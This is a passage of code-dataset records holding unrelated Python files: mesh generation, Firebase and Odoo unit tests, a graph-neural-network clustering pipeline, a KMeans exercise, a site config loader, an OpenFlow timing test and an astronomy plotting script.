svmtk.Surface(\"surfaces/rh.pial.stl\")\nwhite = svmtk.Surface(\"surfaces/lh.white.stl\") \nrhwhite = svmtk.Surface(\"surfaces/rh.white.stl\") \nwhite.union(rhwhite)\n\nsurfaces = [lhpial, rhpial, white, ventricles] \n\n# Create subdomain map\nsmap = svmtk.SubdomainMap() \nsmap.add(\"1000\", 1)\nsmap.add(\"0100\", 1) \nsmap.add(\"0110\", 2)\nsmap.add(\"0010\", 2)\nsmap.add(\"1010\", 2)\nsmap.add(\"0111\", 3)\nsmap.add(\"1011\", 3)\n\n# Create domain\ndomain = svmtk.Domain(surfaces, smap)\n\n# Create meshes of increasing resolutions\nNs = [16, 32, 64, 128]\nfor N in Ns: \n print(\"Creating mesh for N=%d\" % N)\n t0 = time.time()\n domain.create_mesh(N) \n domain.remove_subdomain([3]) \n domain.save(\"brain_%d.mesh\" % N)\n t1 = time.time()\n print(\"Done! That took %g sec\" % (t1-t0))\n","repo_name":"kent-and/mri2fem","sub_path":"mri2fem/mri2fem/chp6/create_mesh_refinements.py","file_name":"create_mesh_refinements.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"78"} +{"seq_id":"41138909173","text":"import unittest\n\nfrom ..notes import DatabaseManager\nfrom ..notes import noteoperations\nfrom ..sync import cloudsync\nfrom firebase import firebase\n\n\"\"\"Unit tests for testing synchronization operations\n\"\"\"\n\n\nclass SyncTest(unittest.TestCase):\n\n \"\"\"return True if the supplied username is found\n in Firebase\n \"\"\"\n def getusername(self, user):\n self.fb = firebase.FirebaseApplication(\n 'https://scrible.firebaseio.com', None)\n result = self.fb.get('/users', user)\n if result != None:\n return True\n return False\n\n \"\"\"checks if the crested user has been sychronized with Firebase\n \"\"\"\n def test_saveusercloud(self):\n dbmgr = DatabaseManager.DatabaseManager(\"scribler.db\")\n sync = cloudsync.SyncNotes(dbmgr)\n sync.saveuserincloud(\"test\", \"45FG~~\")\n self.assertEqual(self.getusername(\"test\"), True)\n\n \"\"\"checks if the crested note has been sychronized with Firebase\n \"\"\"\n def test_savenotestocloud(self):\n note = noteoperations.NoteOperations()\n note.save(title=\"testsavecloud\", body=\"testsavecloud\")\n dbmgr = DatabaseManager.DatabaseManager(\"scribler.db\")\n sync = cloudsync.SyncNotes(dbmgr)\n sync.savenotestocloud(\"yes\")\n noteslist = sync.getreturnnotes(\"test\")\n titletest = \"\"\n for title in noteslist:\n if title == \"testsavecloud\":\n titletest = title\n self.assertEqual(titletest, \"testsavecloud\")\n","repo_name":"JackWachira/Scrible","sub_path":"scrible/tests/test_sync.py","file_name":"test_sync.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34224218377","text":"import os\r\nimport os.path as osp\r\nimport time\r\nimport anndata\r\nimport random\r\nimport warnings\r\nimport bz2\r\nimport pickle\r\nimport harmonypy\r\nfrom anndata import AnnData\r\nimport scanpy as sc\r\nimport scipy\r\nimport scipy.sparse as sp\r\nimport numpy as np\r\nimport pandas as pd\r\nimport torch\r\nimport torchvision\r\nimport torch_geometric\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom torch_geometric.nn import VGAE, GCNConv\r\nfrom torch_geometric.utils import negative_sampling, remove_self_loops, add_self_loops\r\nfrom torch_geometric.loader import ClusterLoader, ClusterData\r\nimport matplotlib.pyplot as plt\r\nfrom typing import Optional\r\nimport sklearn\r\nfrom sklearn.utils import shuffle\r\nfrom datetime import datetime\r\n\r\n\r\n\r\nwarnings.filterwarnings(\"ignore\")\r\ndef prepare_adata(dfs,norm_and_log=True,z_score=True,batch_correction=False):\r\n adata_list=[]\r\n for df in dfs:\r\n cell_list=df[\"Label\"].astype(\"category\")\r\n row=cell_list.cat.codes.to_numpy()\r\n gene_list=df[\"GeneName\"].astype(\"category\")\r\n col=gene_list.cat.codes.to_numpy()\r\n obs = pd.DataFrame(index=(map(str, cell_list.cat.categories)))\r\n var = pd.DataFrame(index=(map(str, gene_list.cat.categories)))\r\n pos=df.groupby(\"Label\").mean()[[\"x\",\"y\"]]\r\n UMICount=df[\"UMICount\"].to_numpy()\r\n adata_x=scipy.sparse.csr_matrix((UMICount,(row,col)), shape=(len(obs), len(var)))\r\n adata = AnnData(adata_x, obs=obs, var=var)\r\n adata.obsm['spatial'] = pos.to_numpy()\r\n adata_list.append(adata)\r\n adata = AnnData.concatenate(*adata_list,join=\"inner\",index_unique='-')\r\n print(\"finish concat adata\")\r\n print(datetime.fromtimestamp(int(time.time())))\r\n ################################################################################ normalization\r\n if norm_and_log:\r\n sc.pp.normalize_per_cell(adata, counts_per_cell_after=10000.0)\r\n sc.pp.log1p(adata)\r\n if z_score:\r\n adata.X = adata.X.toarray()\r\n adata.X = (adata.X - adata.X.mean(0)) / adata.X.std(0)\r\n if not z_score:\r\n adata.X = adata.X.toarray()\r\n print(\"finish normalization\")\r\n print(datetime.fromtimestamp(int(time.time())))\r\n ################################################################################ PCA & batch correction\r\n if sp.issparse(adata.X):\r\n adata.X = adata.X.toarray()\r\n# sc.tl.pca(adata,n_comps=500) ##### pca_dim=500\r\n #####################\r\n gene_tensor = torch.Tensor(adata.X)\r\n u, s, v = torch.pca_lowrank(gene_tensor,q=500)\r\n gene_tensor = torch.matmul(gene_tensor,v)\r\n adata.obsm[\"X_pca\"] = gene_tensor.numpy()\r\n print(\"finish PCA\")\r\n print(datetime.fromtimestamp(int(time.time())))\r\n if batch_correction:\r\n sc.external.pp.harmony_integrate(adata,key=\"batch\")\r\n print(\"finish harmony\")\r\n print(datetime.fromtimestamp(int(time.time())))\r\n return(adata)\r\n\r\n\r\n\r\ndef prepare_train_loader(adata,edge_weight=True):\r\n data = torch_geometric.data.Data(x=torch.Tensor(adata.obsm[\"X_pca\"]),pos=torch.Tensor(adata.obsm[\"spatial\"]))\r\n data = torch_geometric.transforms.KNNGraph(k=30,loop=False)(data) ##### k_graph=30\r\n ################################################################################\r\n if edge_weight:\r\n data = torch_geometric.transforms.Distance()(data)\r\n data.edge_weight = 1 - data.edge_attr[:,0]\r\n else:\r\n data.edge_weight = torch.ones(data.edge_index.size(1))\r\n data.idx = torch.arange(adata.shape[0])\r\n ################################################################################\r\n cluster_data = ClusterData(data, num_parts=128) ##### num_parts=128\r\n train_loader = ClusterLoader(cluster_data, batch_size=32, shuffle=True) ##### batch_size=32\r\n return(data,train_loader)\r\n\r\n\r\n\r\nrandom.seed(0)\r\nnp.random.seed(0)\r\ntorch.manual_seed(0)\r\ntorch.cuda.manual_seed(0)\r\ntorch.cuda.manual_seed_all(0)\r\ntorch.backends.cudnn.benchmark = False\r\ntorch.backends.cudnn.deterministic = True\r\nclass GraphEncoder(nn.Module):\r\n def __init__(self, input_dims, hidden_dims, output_dims):\r\n super(GraphEncoder, self).__init__()\r\n self.gc_feat = GCNConv(input_dims, hidden_dims)\r\n self.gc_mean = GCNConv(hidden_dims, output_dims)\r\n self.gc_var = GCNConv(hidden_dims, output_dims)\r\n def forward(self, x, edge_index, edge_weight):\r\n x = self.gc_feat(x, edge_index, edge_weight).relu()\r\n mean = self.gc_mean(x, edge_index, edge_weight)\r\n var = self.gc_var(x, edge_index, edge_weight)\r\n return(mean, var)\r\n\r\ndef full_block(input_dims, output_dims, drop_rate=0.2):\r\n return nn.Sequential(\r\n nn.Linear(input_dims, output_dims),\r\n nn.BatchNorm1d(output_dims, momentum=0.01, eps=0.001),\r\n nn.ELU(),\r\n nn.Dropout(p=drop_rate)\r\n )\r\n\r\nclass SpatialModel(nn.Module):\r\n def __init__(self, input_dims, gae_dims, dae_dims):\r\n super(SpatialModel, self).__init__()\r\n self.input_dims = input_dims\r\n self.gae_dims = gae_dims\r\n self.dae_dims = dae_dims\r\n self.feat_dims = self.dae_dims[1] + self.gae_dims[1]\r\n self.encoder = nn.Sequential(\r\n full_block(self.input_dims, self.dae_dims[0]),\r\n full_block(self.dae_dims[0], self.dae_dims[1])\r\n )\r\n self.decoder = full_block(self.feat_dims, self.input_dims)\r\n self.vgae = VGAE(GraphEncoder(self.dae_dims[1], self.gae_dims[0], self.gae_dims[1]))\r\n def forward(self, x, edge_index, edge_weight):\r\n feat_x = self.encoder(x)\r\n feat_g = self.vgae.encode(feat_x, edge_index, edge_weight)\r\n feat = torch.concat([feat_x, feat_g], 1)\r\n x_dec = self.decoder(feat)\r\n dae_loss = F.mse_loss(x_dec, x)\r\n gae_loss = self.recon_loss(feat, edge_weight, edge_index) + 1 / len(x) * self.vgae.kl_loss()\r\n return(feat, dae_loss, gae_loss)\r\n def recon_loss(self, z, edge_weight, pos_edge_index, neg_edge_index=None):\r\n pos_dec = self.vgae.decoder(z, pos_edge_index)\r\n pos_loss = F.binary_cross_entropy_with_logits(pos_dec, edge_weight)\r\n pos_edge_index, _ = remove_self_loops(pos_edge_index)\r\n pos_edge_index, _ = add_self_loops(pos_edge_index)\r\n if neg_edge_index is None:\r\n neg_edge_index = negative_sampling(pos_edge_index, z.size(0))\r\n neg_dec = self.vgae.decoder(z, neg_edge_index)\r\n neg_loss = -F.logsigmoid(-neg_dec).mean()\r\n return(pos_loss + neg_loss)\r\n\r\n\r\n\r\nclass Trainer:\r\n def __init__(self, input_dims):\r\n self.input_dims = input_dims\r\n self.device = torch.device('cpu')\r\n\r\n gae_dims = [32, 8]\r\n dae_dims = [100, 24]\r\n self.model = SpatialModel(input_dims=self.input_dims,\r\n gae_dims=gae_dims,\r\n dae_dims=dae_dims).to(self.device)\r\n self.optimizer = torch.optim.Adam(self.model.parameters(), lr=0.005, weight_decay=1e-4)\r\n self.scheduler = torch.optim.lr_scheduler.StepLR(self.optimizer, 1, gamma=1.0)\r\n self.scaler = torch.cuda.amp.GradScaler()\r\n def load_checkpoint(self, path):\r\n checkpoint = torch.load(path)\r\n self.model.load_state_dict(checkpoint['model'])\r\n self.optimizer.load_state_dict(checkpoint['optimizer'])\r\n def save_checkpoint(self, path):\r\n state = {'model': self.model.state_dict(),\r\n 'optimizer': self.optimizer.state_dict()}\r\n torch.save(state, path)\r\n def train(self, train_loader, epochs=200, w_dae=1.0, w_gae=1.0):\r\n self.model.train()\r\n start_time = time.time()\r\n for epoch in range(1, epochs + 1):\r\n train_loss = 0\r\n for batch, data in enumerate(train_loader, start=1):\r\n data = data.to(self.device, non_blocking=True)\r\n inputs = data.x\r\n edge_index = data.edge_index\r\n edge_weight = data.edge_weight\r\n with torch.cuda.amp.autocast():\r\n feat, dae_loss, gae_loss = self.model(inputs, edge_index, edge_weight)\r\n loss = w_dae * dae_loss + w_gae * gae_loss\r\n train_loss += loss.item()\r\n self.optimizer.zero_grad()\r\n self.scaler.scale(loss).backward()\r\n self.scaler.step(self.optimizer)\r\n self.scaler.update()\r\n self.scheduler.step()\r\n train_loss = train_loss / len(train_loader)\r\n process_time = time.time() - start_time\r\n print(\"[ Epoch %d\\t Batch %d ] Loss: %.5f, Time: %.2f s\" % (epoch, batch, train_loss, process_time))\r\n\r\n def inference(self, test_loader, cell_nums):\r\n self.model.eval()\r\n output = np.zeros((cell_nums, self.model.feat_dims))\r\n for data in test_loader:\r\n data = data.to(self.device)\r\n idx = data.idx.detach().cpu().numpy()\r\n feat, _, _ = self.model(data.x, data.edge_index, data.edge_weight)\r\n output[idx] = feat.detach().cpu().numpy()\r\n return(output)\r\ndef cluster_block(feat, adata, indices, save_path, n_neighbors=30, resolution=0.5):\r\n if not os.path.exists(save_path):\r\n os.makedirs(save_path)\r\n print('clustering ......')\r\n st = time.time()\r\n adata_feat = anndata.AnnData(feat[indices], obs=adata.obs,obsm=adata.obsm)\r\n adata_feat.obsm[\"spatial\"] = adata.obsm[\"spatial\"][indices]\r\n adata_feat.obsm[\"X_input\"] = adata.obsm[\"X_pca\"][indices]\r\n sc.pp.neighbors(adata_feat, n_neighbors=n_neighbors)\r\n sc.tl.umap(adata_feat)\r\n sc.tl.leiden(adata_feat, resolution=resolution)\r\n clusters = adata_feat.obs[\"leiden\"].tolist()\r\n results = pd.DataFrame({\"id\": adata[indices].obs.index.tolist(),\r\n \"umap_x\":adata_feat.obsm[\"X_umap\"][:, 0],\r\n \"umap_y\":adata_feat.obsm[\"X_umap\"][:, 1], \r\n \"label\": clusters})\r\n print(\"cluster_results: \",results.shape)\r\n results.to_csv(osp.join(save_path,\"cluster_batch.csv\"),index=False)\r\n print(\"cluster results has been saved in path: \",save_path)\r\n cost_time_cluster = time.time()-st\r\n print(\"clustering finished, cost time(s): \",cost_time_cluster)\r\n return(cost_time_cluster,results)\r\n\r\nepochs=100\r\ndata_dir = \"./data\"\r\nsave_path = './result'\r\n################################################################################\r\nst1=time.time()\r\nfile_names = ['batch1.data', 'batch2.data', 'batch3.data', 'batch4.data']\r\ndfs = []\r\nfor filename in file_names:\r\n dfs.append(pd.read_csv(os.path.join(data_dir, filename),sep=\"\\t\"))\r\nprint(\"Load data cost time : {}\".format(time.time()-st1))\r\n################################################################################\r\nst2=time.time()\r\nadata=prepare_adata(dfs)\r\ndata,train_loader=prepare_train_loader(adata)\r\ncost_time_prepare_data=time.time()-st2\r\nprint(\"Prepare train loader cost time : {}\".format(cost_time_prepare_data))\r\n################################################################################\r\nst3=time.time()\r\ntrainer = Trainer(input_dims=data.num_features)\r\ntrainer.train(train_loader=train_loader, epochs=epochs)\r\nfeat = trainer.inference(train_loader, adata.shape[0])\r\ncost_time_train=time.time()-st3\r\nprint(\"Train cost time : {}\".format(cost_time_train))\r\n################################################################################\r\nst4=time.time()\r\ncost_time_cluster,results = cluster_block(feat=feat, adata=adata, indices=list(range(feat.shape[0])),\r\n save_path=save_path, n_neighbors=30, resolution=0.5)\r\ncost_time_cluster=time.time()-st4\r\nprint(\"Cluster cost time : {}\".format(cost_time_cluster))\r\n################################################################################\r\nparams = {\"cost_time_prepare_data\": str(cost_time_prepare_data), \r\n \"cost_time_train\": str(cost_time_train), \r\n \"cost_time_cluster\": str(cost_time_cluster)}\r\n\r\n\r\n\r\ndf_concat=pd.concat(dfs)\r\ndf_concat[\"id\"] =df_concat[\"Tag\"].map(str) +\"_\"+ df_concat[\"Label\"].map(str)\r\ndf_pos=df_concat.groupby(\"id\").mean()[[\"x\", \"y\",\"Tag\",\"Label\"]]\r\ndf_pos.sort_values(by=[\"Tag\",\"Label\"], inplace=True, ascending=True,ignore_index=True)\r\ndf_cluster=pd.read_csv(\"./result/cluster_batch.csv\",sep=\",\")\r\ndf_pos[\"type\"]=df_cluster[\"label\"]\r\ncolor_dict={}\r\nfor i in range(0,20):\r\n color_dict[i]=[plt.cm.tab20(int(i))]\r\ncolor_list=[color_dict[i] if i in color_dict else i for i in df_pos[\"type\"]]\r\nplt.figure(figsize=(10,8))\r\n# df_cluster=pd.read_csv(\"/mnt/13d1/ganshuang/jupyter_notebook/result/cluster.csv\",sep=\"\\t\")\r\nplt.scatter(df_pos[\"x\"],df_pos[\"y\"], c=color_list, cmap='Spectral',s=1.5)\r\nplt.title('cluster of brain')\r\nplt.savefig(\"./result/cluster_plot.png\")\r\n","repo_name":"Gan-Shuang/Spatial_Transcriptomics_GCN_cluster","sub_path":"GCN_leiden.py","file_name":"GCN_leiden.py","file_ext":"py","file_size_in_byte":12727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32898029479","text":"import unittest\n\nfrom odoo.tests.common import TransactionCase\nfrom odoo.exceptions import UserError, AccessError\n\n\nclass TestTodo(TransactionCase):\n\n def setUp(self, *args, **kwargs):\n super(TestTodo, self).setUp(*args,**kwargs)\n # Création d'un nouvel utilisateur pour les tests\n self.fresh_user = self.env['res.users'].create({\n 'login': 'bob',\n 'name': 'Bob Bobman',\n })\n # Recherche de l'utilisateur avec les droits suffisants sur le module\n self.task_manager = self.env.ref('todo_app.task_manager')\n\n def test__create(self):\n \"Create a simple Todo\"\n Todo = self.env['todo.task'].with_user(self.task_manager)\n task = Todo.create({'name': 'Test Task'})\n self.assertEqual(task.name, 'Test Task')\n self.assertEqual(task.is_done, False)\n self.assertEqual(task.active, True)\n self.assertEqual(task.data_deadline, False)\n self.assertEqual(len(task.team_ids), 0)\n\n def test__create_default_value(self):\n \"Create a simple TOdo with default values\"\n Todo = self.env['todo.task'].with_user(self.task_manager)\n task = Todo.create({'name': 'Test Task 2'})\n self.assertEqual(task.active, True)\n\n def test_clear_done(self):\n \"Clear Done sets to non active\"\n Todo = self.env['todo.task'].with_user(self.task_manager)\n task = Todo.create({'name': 'Test Task 3'})\n task.do_clear_done()\n self.assertFalse(task.active, True)\n\n def test_clear_done_exception(self):\n \"CLear done exception\"\n Todo = self.env['todo.task'].with_user(self.task_manager)\n task = Todo.create({'name': 'Test Task 4'})\n task.do_clear_done()\n with self.assertRaises(UserError):\n task.do_clear_done()\n\n def test_copy_once(self):\n \"COpy a simple Todo\"\n Todo = self.env['todo.task'].with_user(self.task_manager)\n task = Todo.create({'name': 'Test Task 5'})\n copy = task.copy()\n self.assertEqual(copy.name, 'Copy of Test Task 5')\n\n def test_copy_twice(self):\n \"COpy a simple Todo\"\n Todo = self.env['todo.task'].with_user(self.task_manager)\n task = Todo.create({'name': 'Test Task 6'})\n first_copy = task.copy()\n second_copy = task.copy()\n self.assertEqual(first_copy.name, 'Copy of Test Task 6')\n self.assertEqual(second_copy.name, 'Copy of Test Task 6 (1)')\n\n def test_record_rule(self):\n \"Test for a user not in the group\"\n Todo = self.env['todo.task'].with_user(self.fresh_user)\n with self.assertRaises(AccessError):\n task = Todo.create({'name': 'New Task'})\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Bryan-Gregoire/Odoo","sub_path":"todo_app/tests/test_todo.py","file_name":"test_todo.py","file_ext":"py","file_size_in_byte":2705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11092833122","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 27 15:44:11 2022\n\n@author: 오정민\n\"\"\"\n\nfrom sklearn.datasets import make_blobs # 군집데이터를 분석하는데 활용하는 함수\nX, y = make_blobs(n_samples=150, n_features=2, centers=3, cluster_std=0.5, shuffle=True, random_state=0)\n\nprint(X[:10])\nprint(y[:10])\n\nimport matplotlib.pyplot as plt\nplt.scatter(X[:, 0], X[:, 1], c='white', marker = 'o', edgecolor ='black', s=50)\n\nplt.grid()\nplt.show()\n\n\nfrom sklearn.cluster import KMeans\n\nvalues = []\n\nfor i in range(1,11):\n km = KMeans(n_clusters=3, init='k-means++', n_init=10, max_iter=300, random_state=0)\n \n km.fit(X)\n \n values.append(km.inertia_)\n\nprint(values)\n\nplt.plot(range(1,11), values, marker = 'o')\nplt.xlabel('numbers of cluster')\nplt.ylabel('inertia_')\nplt.show() \n \n# 클래스터 내의 각 클래스의 SSE 값을 반환하는 inertia_ 속성 값","repo_name":"ohjungmin317/2022_Intelligent_system","sub_path":"day_13/lecture_03.py","file_name":"lecture_03.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21428695313","text":"import datetime\nfrom pathlib import Path\n\nfrom ruamel.yaml import YAML\n\nfrom nkssg.structure.plugins import Plugins\nfrom nkssg.utils import get_config_by_list\n\n\ndef load_config(mode):\n with open('nkssg.yml', encoding='utf8') as stream:\n config = YAML(typ='safe').load(stream)\n\n config['mode'] = mode\n\n config['base_dir'] = Path.cwd()\n for dir_type in ['docs', 'public', 'static', 'cache', 'themes']:\n dir = dir_type + '_dir'\n config[dir] = get_config_by_list(config, ['directory', dir_type]) or dir_type\n config[dir] = config['base_dir'] / config[dir]\n\n config['cache_contents_path'] = config['cache_dir'] / ('contents_' + mode + '.json')\n config['cache_htmls_path'] = config['cache_dir'] / ('htmls_' + mode + '.json')\n\n\n config = set_default_config(config)\n\n config['plugins'] = Plugins(config)\n config = config['plugins'].do_action('after_load_config', target=config)\n\n return config\n\n\ndef set_default_config(config):\n config['site'] = get_config_by_list(config, ['site']) or {}\n config['site']['site_name'] = get_config_by_list(config, ['site', 'site_name']) or 'Site Title'\n config['site']['site_url'] = get_config_by_list(config, ['site', 'site_url']) or ''\n config['site']['site_desc'] = get_config_by_list(config, ['site', 'site_desc']) or ''\n config['site']['site_image'] = get_config_by_list(config, ['site', 'site_image']) or ''\n config['site']['language'] = get_config_by_list(config, ['site', 'language']) or 'en'\n\n config['site']['site_url'] = config['site']['site_url'].rstrip('/')\n config['site']['site_url_original'] = config['site']['site_url']\n\n if config['site']['site_url'] in config['site']['site_image']:\n config['site']['site_image'] = config['site']['site_image'].replace(config['site']['site_url'], '')\n\n config['now'] = datetime.datetime.now(datetime.timezone.utc)\n\n\n if get_config_by_list(config, ['plugins']) is None:\n config['plugins'] = [\n 'autop',\n 'awesome-page-link',\n 'awesome-img-link',\n 'select-pages'\n ]\n\n\n if get_config_by_list(config, ['doc_ext']) is None:\n config['doc_ext'] = [\n 'md', 'markdown',\n 'html', 'htm',\n 'txt',\n ]\n if get_config_by_list(config, ['exclude']) is None:\n config['exclude'] = []\n\n if get_config_by_list(config, ['post_type']) is None:\n config['post_type'] = []\n\n config['post_type'].append({\n 'post': {\n 'permalink': r'/%Y/%m/%d/%H%M%S/',\n 'archive_type': 'date',\n }\n })\n\n config['post_type'].append({\n 'page': {\n 'permalink': r'/{slug}/',\n 'archive_type': 'section',\n }\n })\n\n config['taxonomy'] = get_config_by_list(config, ['taxonomy']) or {}\n\n if get_config_by_list(config, ['use_abs_url']) is None:\n config['use_abs_url'] = True\n\n return config\n\n","repo_name":"nakaken88/NKSSG","sub_path":"nkssg/config/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2995,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"11781290138","text":"import sys\r\nsi = sys.stdin.readline\r\nn = int(si())\r\ncnt = 0\r\nwhile n >= 0:\r\n if n % 5 == 0:\r\n cnt += n // 5\r\n print(cnt)\r\n break\r\n n -= 3\r\n cnt += 1\r\nelse:\r\n print(-1)","repo_name":"obtusa07/algorithm","sub_path":"백준/Silver/2839. 설탕 배달/설탕 배달.py","file_name":"설탕 배달.py","file_ext":"py","file_size_in_byte":200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15521858940","text":"from pox.core import core\nfrom pox.lib.util import dpidToStr\nimport pox.openflow.libopenflow_01 as of\nimport json\nimport os\nimport time\n\nimport threading\nimport remote_cmd\nfrom gw_config import *\nfrom repeated_timer import *\n\n# include as part of the betta branch\nfrom pox.openflow.of_json import *\n\n\novs1_dpid = 1\novs2_dpid = 2\novs3_dpid = 3\novs4_dpid = 4\novs5_dpid = 5\novs6_dpid = 6\nhost1_IP = '172.17.2.11'\nhost2_IP = '172.17.5.4'\nhost3_IP = '172.17.5.5'\ng1_IP = '128.163.232.71'\ng2_IP = '128.163.232.72'\ng3_IP = '128.163.232.73'\ncopy_barrier_id = 0x80000000\n\nlog = core.getLogger()\nglobal xid\nglobal start_time\nLOG_FILE_DIR = 'of_time.log'\ndef _of_test():\n threading.Timer(15, _of_test_start).start()\n \ndef _of_test_start():\n rt = RepeatedTimer(10, _of_test_once, 50)\n rt.start()\n rt.wait()\n\ndef _of_test_once():\n \n log.info('get connections...')\n\n for connection in core.openflow._connections.values():\n if connection.dpid == g1_dpid:\n global start_time\n start_time = time.time()\n\n msg = of.ofp_flow_mod()\n msg.match.in_port = 1\n msg.xid = of.generate_xid()\n global xid\n xid = msg.xid\n connection.send(msg)\n\n connection.send(of.ofp_barrier_request(xid=msg.xid))\n connection.addListenerByName(\"BarrierIn\", _handle_BarrierIn)\n\n\ndef _handle_BarrierIn(event):\n global xid\n if event.ofp.xid == xid:\n _log_data()\n\ndef _log_data():\n log.info('migration ends')\n global start_time\n exe_time = time.time() - start_time\n log.info('%s seconds' % exe_time)\n _write_to_log(LOG_FILE_DIR, '%s' % exe_time)\n\ndef _write_to_log(log_file_dir, data):\n if log_file_dir == '':\n return\n target = open(log_file_dir, 'a')\n target.write(str(data))\n target.write('\\n')\n target.close()\n\n\n\n \n# main functiont to launch the module\ndef launch ():\n from pox.lib.recoco import Timer\n\n _of_test()\n","repo_name":"YimengZhao/VNM-GENI","sub_path":"python-code/controller/3-ovs-gw/of_msg_tester.py","file_name":"of_msg_tester.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25838740559","text":"# Python Script to make LR-Lx plot for BHs, NSs, CVs, etc.\n# THIS IS THE SIMPLE VERSION: it reads from a pre-compiled database\n# This script uses Numpy, Astropy and Matplotlib\nimport numpy as np\nfrom astropy.io import ascii\nimport matplotlib.pyplot as plt\nimport pickle\n\n# Matplotlib configuration to emulate text with LaTeX\nfrom matplotlib import rc\nrc('text', usetex=True)\nfont = {'family' : 'serif',\n 'weight' : 'bold',\n 'size' : '14'}\nrc('font', **font)\n\n# Data format: Both txt and pickle are available:\ndata_fmt = 'txt'\n#data_fmt = 'pickle'\n\nif data_fmt == 'txt':\n src_list = ascii.read('lrlx_data.txt')\n\nif data_fmt == 'pickle':\n src_list = pickle.load(open('lrlx_data.p', 'rb' ))\n\nplt.figure(figsize=(8,6))\n\nfor i in src_list:\n # Plotting each class with different markers:\n if i['Class'] == 'BH':\n BHs,=plt.loglog(i['Lx'],i['Lr'],'o',ms=4, c='k',mec='k',zorder=2,label='Quiescent/hard state BHs')\n if i['Class'] == 'NS':\n NSs,=plt.loglog(i['Lx'],i['Lr'],'s',ms=5, c='#73C1F9',mec='k',mew=0.3,zorder=3,label='Hard state NSs')\n if i['Class'] == 'AMXP':\n AMXPs,=plt.loglog(i['Lx'],i['Lr'],'*',ms=10,c='#F45FE0',mec='k',mew=0.2,zorder=3,label='AMXPs')\n if i['Class'] == 'tMSP':\n tMSPs,=plt.loglog(i['Lx'],i['Lr'],'^',ms=8,c='#1AD668',mec='k',mew=0.2,zorder=2,label='tMSPs (in accretion state)')\n if i['Class'] == 'LrLx_BH':\n LrLxBHs,=plt.loglog(i['Lx'],i['Lr'],'o',ms=8, c='#F7ED57',mec='k',mew=0.2,zorder=3,label=r'Lr/Lx BH candidates')\n if i['Class'] == 'CV':\n CVs,=plt.loglog(i['Lx'],i['Lr'],'d',ms=8, c='#8407F1',mec='k',mew=0.2,zorder=6,label='CVs')\n if i['Class'] == 'UI':\n UIs,=plt.loglog(i['Lx'],i['Lr'],'p',ms=8, c='r',mec='k',mew=0.2,zorder=8,label='New GC BH candidates')\n\n if data_fmt == 'pickle':\n # Plotting errorbars (if available):\n if len(i['Lx_er']) > 0 and len(i['Lr_er']) > 0:\n plt.errorbar(i['Lx'],i['Lr'],yerr=i['Lr_er'],xerr=i['Lx_er'], fmt='.',ms=0,ecolor='k',zorder=2)\n # Upper limits: \n if i['uplim'] == 'Lx':\n plt.errorbar(i['Lx'],i['Lr'],xerr=i['Lx']*0.6, fmt='.', ms=0, xuplims=True,ecolor='k',capsize=0,zorder=3)\n if i['uplim'] == 'Lr':\n plt.errorbar(i['Lx'],i['Lr'],yerr=i['Lr']*0.5, fmt='.', ms=0, uplims=True,ecolor='k',capsize=0,zorder=3)\n\n if data_fmt == 'txt':\n # Plotting errorbars (if available):\n plt.errorbar(i['Lx'],i['Lr'],yerr=[[i['Lr_ler']],[i['Lr_uer']]],xerr=[[i['Lx_ler']],[i['Lx_uer']]], fmt='.',ms=0,ecolor='k',zorder=2)\n # Upper limits: \n if i['uplim'] == 'Lx':\n plt.errorbar(i['Lx'],i['Lr'],xerr=i['Lx']*0.6, fmt='.', ms=0, xuplims=True,ecolor='k',capsize=0,zorder=3)\n if i['uplim'] == 'Lr':\n plt.errorbar(i['Lx'],i['Lr'],yerr=i['Lr']*0.5, fmt='.', ms=0, uplims=True,ecolor='k',capsize=0,zorder=3)\n\n# Legends:\nif 'UIs' in globals():\n plt.legend(handles=[BHs,LrLxBHs,NSs,AMXPs,tMSPs,CVs,UIs],loc=2,numpoints=1,fontsize=12)\nelse:\n plt.legend(handles=[BHs,LrLxBHs,NSs,AMXPs,tMSPs,CVs],loc=2,numpoints=1,fontsize=12)\n\n# Plotting fitted lines:\nfit_x = np.logspace(29,39,num=10,base=10)\n# BH:\nplt.loglog(fit_x,pow(10,(29.65+0.15-(0.61*36.32)))*pow(fit_x,0.61),'k--',zorder=1)\n# NS:\nplt.loglog(fit_x,pow(10,(28.59-(1.4*36.62)))*pow(fit_x,1.4),'-.',c='#73C1F9',zorder=1)\nplt.loglog(fit_x,pow(10,(28.59-(0.7*36.62)))*pow(fit_x,0.7),'--',c='#73C1F9',zorder=1)\n# tMSP:\nplt.loglog(fit_x,pow(10,(28.95+0.15-(0.61*36.32)))*pow(fit_x,0.61),c='#1AD668',ls=':',lw=1,zorder=1)\n\n#########################\n# ADD YOUR DATA POINTS HERE:\n# plt.errorbar(Lx,Lr,yerr=Lr_er,xerr=Lx_err)\n\n#########################\n\n\n# Artist functions:\nplt.xlabel(r'1-10 keV X-ray luminosity (erg s$^{-1}$)', fontsize=16)\nplt.xlim(1e29, 1e39)\nplt.ylabel(r'5-GHz radio luminosity (erg s$^{-1}$)', fontsize=16)\nplt.ylim(1e25, 2e31)\nplt.tick_params('both', length=9, width=1, which='major')\nplt.tick_params('both', length=5, width=1, which='minor')\nplt.tick_params(axis='both', which='major', labelsize=16)\nplt.tick_params(axis='both', which='both',direction='in',right='on',top='on')\n\n# Saving\nplt.savefig('./lrlx_plot_simple.pdf', 